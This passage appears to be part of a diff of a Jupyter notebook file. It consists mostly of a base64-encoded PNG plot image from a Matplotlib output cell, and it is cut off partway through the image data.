2020 1845\n" + ] + }, + { + "data": { + "image/png": "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